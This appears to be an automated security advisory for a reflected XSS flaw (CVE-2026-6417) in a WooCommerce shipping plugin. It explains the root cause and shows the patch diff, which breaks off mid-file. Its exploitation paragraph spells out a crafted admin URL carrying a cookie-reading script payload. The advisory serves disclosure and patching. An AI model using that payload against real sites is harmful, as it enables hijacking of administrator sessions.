Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 13, 2026

CVE-2026-6417: GLS Shipping for WooCommerce <= 1.4.0 – Reflected Cross-Site Scripting via 'failed_orders' (gls-shipping-for-woocommerce)

CVE ID CVE-2026-6417
Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 1.4.0
Patched Version 1.4.1
Disclosed May 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-6417: This reflected cross-site scripting vulnerability affects the GLS Shipping for WooCommerce plugin for WordPress, version 1.4.0 and earlier. The vulnerability allows unauthenticated attackers to inject arbitrary web scripts via the ‘failed_orders’ parameter. The CVSS score is 6.1 (Medium severity).

The root cause is insufficient input sanitization and output escaping in the `gls_bulk_action_admin_notice()` function within `/wp-content/plugins/gls-shipping-for-woocommerce/includes/admin/class-gls-shipping-bulk.php`. The vulnerable code, located around lines 279-319 in version 1.4.0, directly passes the `failed_orders` parameter from `$_REQUEST` into an `explode(‘,’, …)` call and then uses the resulting array values directly in a `sprintf()` call that outputs an admin notice without escaping. The function receives this parameter via the redirect URL after a bulk action, where it is passed as a query parameter. The attacker can inject arbitrary HTML and JavaScript by crafting a malicious ‘failed_orders’ query string value.

Exploitation occurs by tricking an authenticated WordPress administrator into clicking a crafted link. The link targets any WordPress admin page, with query parameters `bulk_action=print_gls_labels`, `gls_labels_printed=1`, `gls_labels_failed=1`, and `failed_orders=alert(document.cookie)`. When the administrator visits this URL, the plugin’s admin notice handler reads the ‘failed_orders’ parameter and outputs it into the page without sanitization, executing the injected script in the administrator’s browser context.

The patch adds proper sanitization by filtering the ‘failed_orders’ values through `absint(trim($order_id))`, ensuring only positive integers are used. The output is then escaped using `esc_html()` when building the message, and the entire notice is wrapped in `wp_kses_post()` for safe HTML rendering. This prevents any HTML or JavaScript from being injected and executed.

If successfully exploited, an attacker can execute arbitrary JavaScript in the context of an authenticated WordPress administrator’s session. This could lead to session hijacking, credential theft via crafted login forms, administrative action execution (e.g., creating rogue admin accounts), and complete site compromise. The attack requires user interaction (clicking a link) but no authentication for the attacker.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/gls-shipping-for-woocommerce/gls-shipping-for-woocommerce.php
+++ b/gls-shipping-for-woocommerce/gls-shipping-for-woocommerce.php
@@ -3,7 +3,7 @@
 /**
  * Plugin Name: GLS Shipping for WooCommerce
  * Description: Offical GLS Shipping for WooCommerce plugin
- * Version: 1.4.0
+ * Version: 1.4.1
  * Author: Inchoo
  * License: GPLv2
  * License URI: http://www.gnu.org/licenses/gpl-2.0.html
@@ -24,7 +24,7 @@
 {
     private static $instance;

-    private $version = '1.4.0';
+    private $version = '1.4.1';

     private function __construct()
     {
@@ -173,16 +173,16 @@
         }

         // Verify nonce
-        if (!isset($_GET['nonce']) || !wp_verify_nonce(sanitize_text_field($_GET['nonce']), 'gls_download_label')) {
+        if (!isset($_GET['nonce']) || !wp_verify_nonce(sanitize_text_field(wp_unslash($_GET['nonce'])), 'gls_download_label')) {
             wp_die(esc_html__('Invalid security token. Please refresh the page and try again.', 'gls-shipping-for-woocommerce'));
         }

         // Check user permissions
         if (!current_user_can('edit_shop_orders')) {
-            wp_die(__('You do not have permission to download shipping labels.', 'gls-shipping-for-woocommerce'));
+            wp_die(esc_html__('You do not have permission to download shipping labels.', 'gls-shipping-for-woocommerce'));
         }

-        $file_id = sanitize_file_name($_GET['gls_download_label']);
+        $file_id = sanitize_file_name(wp_unslash($_GET['gls_download_label']));
         $file_path = GLS_LABELS_DIR . '/' . $file_id;

         // Security check - ensure file is within labels directory
@@ -190,22 +190,33 @@
         $real_labels_dir = realpath(GLS_LABELS_DIR);

         if ($real_path === false || strpos($real_path, $real_labels_dir) !== 0) {
-            wp_die(__('Invalid file path.', 'gls-shipping-for-woocommerce'));
+            wp_die(esc_html__('Invalid file path.', 'gls-shipping-for-woocommerce'));
         }

         if (!file_exists($file_path)) {
-            wp_die(__('PDF label not found.', 'gls-shipping-for-woocommerce'));
+            wp_die(esc_html__('PDF label not found.', 'gls-shipping-for-woocommerce'));
+        }
+
+        // Serve the file using WP_Filesystem
+        global $wp_filesystem;
+        if (empty($wp_filesystem)) {
+            require_once ABSPATH . 'wp-admin/includes/file.php';
+            WP_Filesystem();
+        }
+
+        $file_contents = $wp_filesystem->get_contents($file_path);
+        if (false === $file_contents) {
+            wp_die(esc_html__('Could not read PDF file.', 'gls-shipping-for-woocommerce'));
         }

-        // Serve the file
         header('Content-Type: application/pdf');
         header('Content-Disposition: inline; filename="' . basename($file_path) . '"');
         header('Content-Transfer-Encoding: binary');
-        header('Content-Length: ' . filesize($file_path));
+        header('Content-Length: ' . strlen($file_contents));
         header('Cache-Control: private, max-age=0, must-revalidate');
         header('Pragma: public');

-        readfile($file_path);
+        echo $file_contents; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Binary PDF data
         exit;
     }

@@ -259,6 +270,7 @@

     public function load_textdomain()
     {
+        // phpcs:ignore PluginCheck.CodeAnalysis.DiscouragedFunctions.load_plugin_textdomainFound -- Manual loading needed for non-wp.org distribution
         load_plugin_textdomain('gls-shipping-for-woocommerce', false, basename(dirname(__FILE__)) . '/languages/');
     }

--- a/gls-shipping-for-woocommerce/includes/admin/class-gls-shipping-bulk.php
+++ b/gls-shipping-for-woocommerce/includes/admin/class-gls-shipping-bulk.php
@@ -113,101 +113,116 @@
         }
         // Bulk print labels, dont generate for each but just print in single PDF
         if ('print_gls_labels' === $doaction) {
-            $prepare_data = new GLS_Shipping_API_Data($order_ids);
-            $data = $prepare_data->generate_post_fields_multi();
-
-            // Send order to GLS API
-            $is_multi = true;
-            $api = new GLS_Shipping_API_Service();
-            $result = $api->send_order($data, $is_multi);
+            try {
+                $prepare_data = new GLS_Shipping_API_Data($order_ids);
+                $data = $prepare_data->generate_post_fields_multi();
+
+                // Send order to GLS API
+                $is_multi = true;
+                $api = new GLS_Shipping_API_Service();
+                $result = $api->send_order($data, $is_multi);

-            $body = $result['body'];
-            $failed_orders = $result['failed_orders'];
-
-            // Check if all orders failed - don't attempt PDF creation if no successful labels
-            if (count($failed_orders) >= count($order_ids)) {
-                $redirect = add_query_arg(
-                    array(
-                        'bulk_action' => 'print_gls_labels',
-                        'gls_labels_printed' => 0,
-                        'gls_labels_failed' => count($failed_orders),
-                        'failed_orders' => implode(',', array_column($failed_orders, 'order_id')),
-                    ),
-                    $redirect
-                );
-                return $redirect;
-            }
-
-            $pdf_filename = $this->bulk_create_print_labels($body);
-
-            if ($pdf_filename) {
-                // Save tracking numbers to order meta
-                if (!empty($body['PrintLabelsInfoList'])) {
-                    // Group tracking codes by order ID to handle multiple parcels per order
-                    $orders_data = array();
-
-                    foreach ($body['PrintLabelsInfoList'] as $labelInfo) {
-                        if (isset($labelInfo['ClientReference'])) {
-                            $order_id = str_replace('Order:', '', $labelInfo['ClientReference']);
-
-                            if (!isset($orders_data[$order_id])) {
-                                $orders_data[$order_id] = array(
-                                    'tracking_codes' => array(),
-                                    'parcel_ids' => array()
-                                );
-                            }
-
-                            if (isset($labelInfo['ParcelNumber'])) {
-                                $orders_data[$order_id]['tracking_codes'][] = $labelInfo['ParcelNumber'];
-                            }
-                            if (isset($labelInfo['ParcelId'])) {
-                                $orders_data[$order_id]['parcel_ids'][] = $labelInfo['ParcelId'];
+                $body = $result['body'];
+                $failed_orders = $result['failed_orders'];
+
+                // Check if all orders failed - don't attempt PDF creation if no successful labels
+                if (count($failed_orders) >= count($order_ids)) {
+                    $redirect = add_query_arg(
+                        array(
+                            'bulk_action' => 'print_gls_labels',
+                            'gls_labels_printed' => 0,
+                            'gls_labels_failed' => count($failed_orders),
+                            'failed_orders' => implode(',', array_column($failed_orders, 'order_id')),
+                        ),
+                        $redirect
+                    );
+                    return $redirect;
+                }
+
+                $pdf_filename = $this->bulk_create_print_labels($body);
+
+                if ($pdf_filename) {
+                    // Save tracking numbers to order meta
+                    if (!empty($body['PrintLabelsInfoList'])) {
+                        // Group tracking codes by order ID to handle multiple parcels per order
+                        $orders_data = array();
+
+                        foreach ($body['PrintLabelsInfoList'] as $labelInfo) {
+                            if (isset($labelInfo['ClientReference'])) {
+                                $order_id = str_replace('Order:', '', $labelInfo['ClientReference']);
+
+                                if (!isset($orders_data[$order_id])) {
+                                    $orders_data[$order_id] = array(
+                                        'tracking_codes' => array(),
+                                        'parcel_ids' => array()
+                                    );
+                                }
+
+                                if (isset($labelInfo['ParcelNumber'])) {
+                                    $orders_data[$order_id]['tracking_codes'][] = $labelInfo['ParcelNumber'];
+                                }
+                                if (isset($labelInfo['ParcelId'])) {
+                                    $orders_data[$order_id]['parcel_ids'][] = $labelInfo['ParcelId'];
+                                }
                             }
                         }
-                    }
-
-                    // Now save all tracking codes for each order
-                    $successful_orders = array();
-                    foreach ($orders_data as $order_id => $data) {
-                        $order = wc_get_order($order_id);
-                        if ($order) {
-                            if (!empty($data['tracking_codes'])) {
-                                $order->update_meta_data('_gls_tracking_codes', $data['tracking_codes']);
+
+                        // Now save all tracking codes for each order
+                        $successful_orders = array();
+                        foreach ($orders_data as $order_id => $data) {
+                            $order = wc_get_order($order_id);
+                            if ($order) {
+                                if (!empty($data['tracking_codes'])) {
+                                    $order->update_meta_data('_gls_tracking_codes', $data['tracking_codes']);
+                                }
+                                if (!empty($data['parcel_ids'])) {
+                                    $order->update_meta_data('_gls_parcel_ids', $data['parcel_ids']);
+                                }
+
+                                // Save just the filename, URL with nonce is generated on display
+                                $order->update_meta_data('_gls_print_label', $pdf_filename);
+                                $order->save();
+
+                                $successful_orders[] = $order_id;
                             }
-                            if (!empty($data['parcel_ids'])) {
-                                $order->update_meta_data('_gls_parcel_ids', $data['parcel_ids']);
-                            }
-
-                            // Save just the filename, URL with nonce is generated on display
-                            $order->update_meta_data('_gls_print_label', $pdf_filename);
-                            $order->save();
-
-                            $successful_orders[] = $order_id;
                         }
+
+                        // Fire hook after successful bulk label generation
+                        do_action('gls_bulk_labels_generated', $order_ids, $successful_orders, $failed_orders);
                     }
-
-                    // Fire hook after successful bulk label generation
-                    do_action('gls_bulk_labels_generated', $order_ids, $successful_orders, $failed_orders);
-                }

-                // Add query args to URL for displaying notices and providing PDF link
-                $pdf_url = GLS_Shipping_For_Woo::get_label_download_url($pdf_filename);
-                $redirect = add_query_arg(
-                    array(
-                        'bulk_action' => 'print_gls_labels',
-                        'gls_labels_printed' => count($order_ids) - count($failed_orders),
-                        'gls_labels_failed' => count($failed_orders),
-                        'gls_pdf_url' => urlencode($pdf_url),
-                        'failed_orders' => implode(',', array_column($failed_orders, 'order_id')),
-                    ),
-                    $redirect
-                );
-            } else {
-                // Handle error case
+                    // Add query args to URL for displaying notices and providing PDF link
+                    $pdf_url = GLS_Shipping_For_Woo::get_label_download_url($pdf_filename);
+                    $redirect = add_query_arg(
+                        array(
+                            'bulk_action' => 'print_gls_labels',
+                            'gls_labels_printed' => count($order_ids) - count($failed_orders),
+                            'gls_labels_failed' => count($failed_orders),
+                            'gls_pdf_url' => urlencode($pdf_url),
+                            'failed_orders' => implode(',', array_column($failed_orders, 'order_id')),
+                        ),
+                        $redirect
+                    );
+                } else {
+                    // Handle error case
+                    $redirect = add_query_arg(
+                        array(
+                            'bulk_action' => 'print_gls_labels',
+                            'gls_labels_printed_error' => 'true',
+                        ),
+                        $redirect
+                    );
+                }
+            } catch (Exception $e) {
+                // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log -- Intentional error logging for debugging
+                error_log('GLS Bulk Print Labels Error: ' . $e->getMessage());
+
+                // Handle the exception gracefully - redirect with error message
                 $redirect = add_query_arg(
                     array(
                         'bulk_action' => 'print_gls_labels',
                         'gls_labels_printed_error' => 'true',
+                        'gls_error_message' => urlencode($e->getMessage()),
                     ),
                     $redirect
                 );
@@ -226,6 +241,7 @@

         // Check if Labels exist and is an array
         if (empty($body['Labels']) || !is_array($body['Labels'])) {
+            // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log -- Intentional error logging for debugging
             error_log('GLS Bulk Print: No labels found in API response. This may happen if all orders failed validation.');
             return false;
         }
@@ -248,17 +264,33 @@
     }

     // Display admin notice after bulk action
+    // phpcs:disable WordPress.Security.NonceVerification.Recommended -- Display-only notice after redirect, nonce verified in original action
     public function gls_bulk_action_admin_notice() {
         if (isset($_REQUEST['bulk_action'])) {
-            if ('generate_gls_labels' == $_REQUEST['bulk_action']) {
-                $generated = intval($_REQUEST['gls_labels_generated']);
-                $failed = intval($_REQUEST['gls_labels_failed']);
-                $failed_orders = isset($_REQUEST['failed_orders']) ? explode(',', $_REQUEST['failed_orders']) : [];
+            // Sanitize the bulk action parameter
+            $bulk_action = sanitize_text_field(wp_unslash($_REQUEST['bulk_action']));
+
+            if ('generate_gls_labels' === $bulk_action) {
+                $generated = isset($_REQUEST['gls_labels_generated']) ? intval($_REQUEST['gls_labels_generated']) : 0;
+                $failed = isset($_REQUEST['gls_labels_failed']) ? intval($_REQUEST['gls_labels_failed']) : 0;
+
+                // Sanitize failed_orders - only allow integers (order IDs)
+                $failed_orders = array();
+                if (isset($_REQUEST['failed_orders']) && !empty($_REQUEST['failed_orders'])) {
+                    $raw_failed_orders = sanitize_text_field(wp_unslash($_REQUEST['failed_orders']));
+                    $failed_orders_array = explode(',', $raw_failed_orders);
+                    foreach ($failed_orders_array as $order_id) {
+                        $sanitized_id = absint(trim($order_id));
+                        if ($sanitized_id > 0) {
+                            $failed_orders[] = $sanitized_id;
+                        }
+                    }
+                }

                 // Prepare success message
                 $message = sprintf(
+                    /* translators: %s: number of generated labels */
                     _n(
-                        /* translators: %s: number of generated labels */
                         '%s GLS label was successfully generated.',
                         '%s GLS labels were successfully generated.',
                         $generated,
@@ -266,12 +298,12 @@
                     ),
                     number_format_i18n($generated)
                 );
-
+
                 // Add failure message if any labels failed to generate
                 if ($failed > 0) {
                     $message .= ' ' . sprintf(
+                        /* translators: %s: number of failed labels */
                         _n(
-                            /* translators: %s: number of failed labels */
                             '%s label failed to generate.',
                             '%s labels failed to generate.',
                             $failed,
@@ -279,26 +311,43 @@
                         ),
                         number_format_i18n($failed)
                     );
-                    $message .= ' ' . sprintf(
-                        /* translators: %s: comma-separated list of order IDs that failed */
-                        __('Failed order IDs: %s', 'gls-shipping-for-woocommerce'),
-                        implode(', ', $failed_orders)
-                    );
+                    if (!empty($failed_orders)) {
+                        $message .= ' ' . sprintf(
+                            /* translators: %s: comma-separated list of order IDs that failed */
+                            __('Failed order IDs: %s', 'gls-shipping-for-woocommerce'),
+                            esc_html(implode(', ', $failed_orders))
+                        );
+                    }
                 }

-                // Display the notice
-                printf('<div id="message" class="updated notice is-dismissible"><p>' . $message . '</p></div>');
-            } elseif ('print_gls_labels' == $_REQUEST['bulk_action']) {
+                // Display the notice with proper escaping
+                printf(
+                    '<div id="message" class="updated notice is-dismissible"><p>%s</p></div>',
+                    wp_kses_post($message)
+                );
+            } elseif ('print_gls_labels' === $bulk_action) {
                 if (isset($_REQUEST['gls_labels_printed']) && isset($_REQUEST['gls_pdf_url'])) {
                     $printed = intval($_REQUEST['gls_labels_printed']);
-                    $failed = intval($_REQUEST['gls_labels_failed']);
-                    $pdf_url = urldecode($_REQUEST['gls_pdf_url']);
-                    $failed_orders = isset($_REQUEST['failed_orders']) ? explode(',', $_REQUEST['failed_orders']) : [];
+                    $failed = isset($_REQUEST['gls_labels_failed']) ? intval($_REQUEST['gls_labels_failed']) : 0;
+                    $pdf_url = esc_url_raw(urldecode(sanitize_text_field(wp_unslash($_REQUEST['gls_pdf_url']))));
+
+                    // Sanitize failed_orders - only allow integers (order IDs)
+                    $failed_orders = array();
+                    if (isset($_REQUEST['failed_orders']) && !empty($_REQUEST['failed_orders'])) {
+                        $raw_failed_orders = sanitize_text_field(wp_unslash($_REQUEST['failed_orders']));
+                        $failed_orders_array = explode(',', $raw_failed_orders);
+                        foreach ($failed_orders_array as $order_id) {
+                            $sanitized_id = absint(trim($order_id));
+                            if ($sanitized_id > 0) {
+                                $failed_orders[] = $sanitized_id;
+                            }
+                        }
+                    }

                     // Prepare success message
                     $message = sprintf(
+                        /* translators: %s: number of orders processed */
                         _n(
-                            /* translators: %s: number of orders processed */
                             'GLS label for %s order has been generated. ',
                             'GLS labels for %s orders have been generated. ',
                             $printed,
@@ -310,8 +359,8 @@
                     // Add failure message if any labels failed to generate
                     if ($failed > 0) {
                         $message .= sprintf(
+                            /* translators: %s: number of failed labels */
                             _n(
-                                /* translators: %s: number of failed labels */
                                 '%s label failed to generate. ',
                                 '%s labels failed to generate. ',
                                 $failed,
@@ -319,27 +368,49 @@
                             ),
                             number_format_i18n($failed)
                         );
-                        $message .= sprintf(
-                            __('Failed order IDs: %s', 'gls-shipping-for-woocommerce'),
-                            implode(', ', $failed_orders)
-                        );
+                        if (!empty($failed_orders)) {
+                            $message .= sprintf(
+                                /* translators: %s: comma-separated list of order IDs that failed */
+                                __('Failed order IDs: %s', 'gls-shipping-for-woocommerce'),
+                                esc_html(implode(', ', $failed_orders))
+                            );
+                        }
                     }
-
+
                     $message .= sprintf(
                         /* translators: %s: URL to download the PDF file */
                         __('<br><a href="%s" target="_blank">Click here to download the PDF</a>', 'gls-shipping-for-woocommerce'),
                         esc_url($pdf_url)
                     );

-                    // Display the notice
-                    printf('<div id="message" class="updated notice is-dismissible"><p>' . $message . '</p></div>');
+                    // Display the notice with proper escaping
+                    printf(
+                        '<div id="message" class="updated notice is-dismissible"><p>%s</p></div>',
+                        wp_kses_post($message)
+                    );
                 } elseif (isset($_REQUEST['gls_labels_printed_error'])) {
                     $message = __('An error occurred while generating the GLS labels PDF.', 'gls-shipping-for-woocommerce');
-                    printf('<div id="message" class="error notice is-dismissible"><p>' . $message . '</p></div>');
+
+                    // Display specific error message if available
+                    if (isset($_REQUEST['gls_error_message']) && !empty($_REQUEST['gls_error_message'])) {
+                        // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Sanitized via sanitize_text_field after urldecode
+                        $error_detail = sanitize_text_field(urldecode(wp_unslash($_REQUEST['gls_error_message'])));
+                        $message .= ' ' . sprintf(
+                            /* translators: %s: error message from GLS API */
+                            __('Error: %s', 'gls-shipping-for-woocommerce'),
+                            $error_detail
+                        );
+                    }
+
+                    printf(
+                        '<div id="message" class="error notice is-dismissible"><p>%s</p></div>',
+                        esc_html($message)
+                    );
                 }
             }
         }
     }
+    // phpcs:enable WordPress.Security.NonceVerification.Recommended

     // Enqueue bulk styles
     public function admin_enqueue_styles()
@@ -440,9 +511,9 @@
             }
         }

-        // Display the tracking numbers
+        // Display the tracking numbers (each element is already escaped with esc_html())
         if (!empty($tracking_numbers)) {
-            echo implode(' ', $tracking_numbers);
+            echo wp_kses_post( implode(' ', $tracking_numbers) );
         } else {
             echo '-';
         }
--- a/gls-shipping-for-woocommerce/includes/admin/class-gls-shipping-label-migration.php
+++ b/gls-shipping-for-woocommerce/includes/admin/class-gls-shipping-label-migration.php
@@ -116,21 +116,24 @@
             AutomatticWooCommerceUtilitiesOrderUtil::custom_orders_table_usage_is_enabled()) {
             // HPOS enabled
             $table = $wpdb->prefix . 'wc_orders_meta';
+            // phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared, PluginCheck.Security.DirectDB.UnescapedDBParameter -- Table name uses $wpdb->prefix + constant
             $exists = $wpdb->get_var($wpdb->prepare(
-                "SELECT 1 FROM {$table}
-                WHERE meta_key = '_gls_print_label'
-                AND meta_value LIKE %s
+                "SELECT 1 FROM {$table}
+                WHERE meta_key = '_gls_print_label'
+                AND meta_value LIKE %s
                 AND meta_value NOT LIKE %s
                 LIMIT 1",
                 '%/wp-content/uploads/%',
                 '%gls_download_label%'
             ));
+            // phpcs:enable WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared, PluginCheck.Security.DirectDB.UnescapedDBParameter
         } else {
             // Legacy post meta
+            // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching -- Using $wpdb->postmeta property
             $exists = $wpdb->get_var($wpdb->prepare(
-                "SELECT 1 FROM {$wpdb->postmeta}
-                WHERE meta_key = '_gls_print_label'
-                AND meta_value LIKE %s
+                "SELECT 1 FROM {$wpdb->postmeta}
+                WHERE meta_key = '_gls_print_label'
+                AND meta_value LIKE %s
                 AND meta_value NOT LIKE %s
                 LIMIT 1",
                 '%/wp-content/uploads/%',
@@ -156,22 +159,25 @@
             AutomatticWooCommerceUtilitiesOrderUtil::custom_orders_table_usage_is_enabled()) {
             // HPOS enabled
             $table = $wpdb->prefix . 'wc_orders_meta';
+            // phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared, PluginCheck.Security.DirectDB.UnescapedDBParameter -- Table name uses $wpdb->prefix + constant
             $order_ids = $wpdb->get_col($wpdb->prepare(
-                "SELECT order_id FROM {$table}
-                WHERE meta_key = '_gls_print_label'
-                AND meta_value LIKE %s
+                "SELECT order_id FROM {$table}
+                WHERE meta_key = '_gls_print_label'
+                AND meta_value LIKE %s
                 AND meta_value NOT LIKE %s
                 LIMIT %d",
                 '%/wp-content/uploads/%',
                 '%gls_download_label%',
                 $limit
             ));
+            // phpcs:enable WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared, PluginCheck.Security.DirectDB.UnescapedDBParameter
         } else {
             // Legacy post meta
+            // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching -- Using $wpdb->postmeta property
             $order_ids = $wpdb->get_col($wpdb->prepare(
-                "SELECT post_id FROM {$wpdb->postmeta}
-                WHERE meta_key = '_gls_print_label'
-                AND meta_value LIKE %s
+                "SELECT post_id FROM {$wpdb->postmeta}
+                WHERE meta_key = '_gls_print_label'
+                AND meta_value LIKE %s
                 AND meta_value NOT LIKE %s
                 LIMIT %d",
                 '%/wp-content/uploads/%',
@@ -278,7 +284,7 @@
         $order->save();

         // Delete old file
-        @unlink($old_path);
+        wp_delete_file($old_path);

         return true;
     }
@@ -330,13 +336,13 @@
                 continue;
             }
             foreach ($files as $file) {
-                if (@unlink($file)) {
-                    $deleted_count++;
-                }
+                wp_delete_file($file);
+                $deleted_count++;
             }
         }

         if ($deleted_count > 0) {
+            // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log -- Intentional logging for migration process
             error_log("GLS Migration: Cleaned up {$deleted_count} orphaned label files from old uploads folders.");
         }
     }
@@ -373,7 +379,7 @@
         }

         // Verify nonce
-        if (!wp_verify_nonce(sanitize_text_field($_GET['nonce']), 'gls_old_label_access')) {
+        if (!wp_verify_nonce(sanitize_text_field(wp_unslash($_GET['nonce'])), 'gls_old_label_access')) {
             wp_die(esc_html__('Invalid security token.', 'gls-shipping-for-woocommerce'));
         }

@@ -403,15 +409,26 @@
             wp_die(esc_html__('PDF label file not found.', 'gls-shipping-for-woocommerce'));
         }

-        // Serve the file
+        // Serve the file using WP_Filesystem
+        global $wp_filesystem;
+        if (empty($wp_filesystem)) {
+            require_once ABSPATH . 'wp-admin/includes/file.php';
+            WP_Filesystem();
+        }
+
+        $file_contents = $wp_filesystem->get_contents($file_path);
+        if (false === $file_contents) {
+            wp_die(esc_html__('Could not read PDF file.', 'gls-shipping-for-woocommerce'));
+        }
+
         header('Content-Type: application/pdf');
         header('Content-Disposition: inline; filename="' . basename($file_path) . '"');
         header('Content-Transfer-Encoding: binary');
-        header('Content-Length: ' . filesize($file_path));
+        header('Content-Length: ' . strlen($file_contents));
         header('Cache-Control: private, max-age=0, must-revalidate');
         header('Pragma: public');

-        readfile($file_path);
+        echo $file_contents; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Binary PDF data
         exit;
     }
 }
--- a/gls-shipping-for-woocommerce/includes/admin/class-gls-shipping-order.php
+++ b/gls-shipping-for-woocommerce/includes/admin/class-gls-shipping-order.php
@@ -182,7 +182,10 @@

                         <!-- Service Options (Hidden by default) -->
                         <div id="gls-services-options" style="display: none; margin-bottom: 15px; padding: 10px; border: 1px solid #ddd; border-radius: 4px; background-color: #f9f9f9;">
-                            <?php echo $this->render_service_options($order); ?>
+                            <?php
+                            // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Trusted internal method outputting form fields
+                            echo $this->render_service_options($order);
+                            ?>
                         </div>

                         <button type="button" class="button gls-print-label" order-id="<?php echo esc_attr($order->get_id()); ?>">
@@ -191,11 +194,13 @@
                         <?php if (!empty($gls_tracking_numbers)) { ?>
                             <?php foreach ($gls_tracking_numbers as $index => $tracking_number) { ?>
                             <button type="button" class="button gls-get-status" order-id="<?php echo esc_attr($order->get_id()); ?>" parcel-number="<?php echo esc_attr($tracking_number); ?>" style="margin-top: 10px;">
-                                <?php
+                                <?php
                                 if (count($gls_tracking_numbers) > 1) {
-                                    echo sprintf(esc_html__("Get Parcel Status #%d (%s)", "gls-shipping-for-woocommerce"), $index + 1, esc_html($tracking_number));
+                                    /* translators: %1$d: parcel index number, %2$s: tracking number */
+                                    echo esc_html( sprintf(__("Get Parcel Status #%1$d (%2$s)", "gls-shipping-for-woocommerce"), intval($index) + 1, $tracking_number) );
                                 } else {
-                                    echo sprintf(esc_html__("Get Parcel Status (%s)", "gls-shipping-for-woocommerce"), esc_html($tracking_number));
+                                    /* translators: %s: tracking number */
+                                    echo esc_html( sprintf(__("Get Parcel Status (%s)", "gls-shipping-for-woocommerce"), $tracking_number) );
                                 }
                                 ?>
                             </button>
@@ -241,7 +246,10 @@

                         <!-- Service Options (Hidden by default) -->
                         <div id="gls-services-options-new" style="display: none; margin-bottom: 15px; padding: 10px; border: 1px solid #ddd; border-radius: 4px; background-color: #f9f9f9;">
-                            <?php echo $this->render_service_options($order); ?>
+                            <?php
+                            // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Trusted internal method outputting form fields
+                            echo $this->render_service_options($order);
+                            ?>
                         </div>

                         <button type="button" class="button gls-print-label" order-id="<?php echo esc_attr($order->get_id()); ?>">
@@ -313,6 +321,7 @@
             return array('success' => true, 'data' => $result);

         } catch (Exception $e) {
+            // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log -- Intentional error logging for debugging
             error_log("Failed to generate GLS label for order $order_id: " . $e->getMessage());
             return array('success' => false, 'error' => $e->getMessage());
         }
@@ -320,15 +329,15 @@

     public function generate_label_and_tracking_number()
     {
-        if (!wp_verify_nonce(sanitize_text_field($_POST['postNonce']), 'import-nonce')) {
+        if (!isset($_POST['postNonce']) || !wp_verify_nonce(sanitize_text_field(wp_unslash($_POST['postNonce'])), 'import-nonce')) {
             die('Busted!');
         }

-        $order_id = sanitize_text_field($_POST['orderId']);
+        $order_id = isset($_POST['orderId']) ? sanitize_text_field(wp_unslash($_POST['orderId'])) : '';
         $count = isset($_POST['count']) ? intval($_POST['count']) : null;
         $print_position = isset($_POST['printPosition']) ? intval($_POST['printPosition']) : null;
-        $cod_reference = isset($_POST['codReference']) ? sanitize_text_field($_POST['codReference']) : null;
-        $services = isset($_POST['services']) ? json_decode(stripslashes($_POST['services']), true) : null;
+        $cod_reference = isset($_POST['codReference']) ? sanitize_text_field(wp_unslash($_POST['codReference'])) : null;
+        $services = isset($_POST['services']) ? json_decode(sanitize_text_field(wp_unslash($_POST['services'])), true) : null;

         // Use centralized method
         $result = $this->generate_single_order_label($order_id, $count, $print_position, $cod_reference, $services);
@@ -408,13 +417,13 @@

     public function get_parcel_status()
     {
-        if (!wp_verify_nonce(sanitize_text_field($_POST['postNonce']), 'import-nonce')) {
+        if (!isset($_POST['postNonce']) || !wp_verify_nonce(sanitize_text_field(wp_unslash($_POST['postNonce'])), 'import-nonce')) {
             wp_send_json_error(array('error' => 'Invalid security token'));
             wp_die();
         }

-        $order_id = intval($_POST['orderId']);
-        $parcel_number = sanitize_text_field($_POST['parcelNumber']);
+        $order_id = isset($_POST['orderId']) ? intval($_POST['orderId']) : 0;
+        $parcel_number = isset($_POST['parcelNumber']) ? sanitize_text_field(wp_unslash($_POST['parcelNumber'])) : '';

         if (empty($order_id) || empty($parcel_number)) {
             wp_send_json_error(array('error' => 'Missing order ID or parcel number'));
@@ -579,13 +588,13 @@
      */
     public function update_pickup_location()
     {
-        if (!wp_verify_nonce(sanitize_text_field($_POST['postNonce']), 'import-nonce')) {
+        if (!isset($_POST['postNonce']) || !wp_verify_nonce(sanitize_text_field(wp_unslash($_POST['postNonce'])), 'import-nonce')) {
             wp_send_json_error(array('error' => 'Invalid security token'));
             wp_die();
         }

-        $order_id = intval($_POST['orderId']);
-        $pickup_info = isset($_POST['pickupInfo']) ? sanitize_text_field(stripslashes($_POST['pickupInfo'])) : '';
+        $order_id = isset($_POST['orderId']) ? intval($_POST['orderId']) : 0;
+        $pickup_info = isset($_POST['pickupInfo']) ? sanitize_text_field(wp_unslash($_POST['pickupInfo'])) : '';

         if (empty($order_id) || empty($pickup_info)) {
             wp_send_json_error(array('error' => 'Missing order ID or pickup information'));
@@ -607,7 +616,8 @@
             $pickup_data = json_decode($pickup_info);
             if ($pickup_data) {
                 $note = sprintf(
-                    __('GLS pickup location changed to: %s (%s)', 'gls-shipping-for-woocommerce'),
+                    /* translators: %1$s: pickup location name, %2$s: pickup location ID */
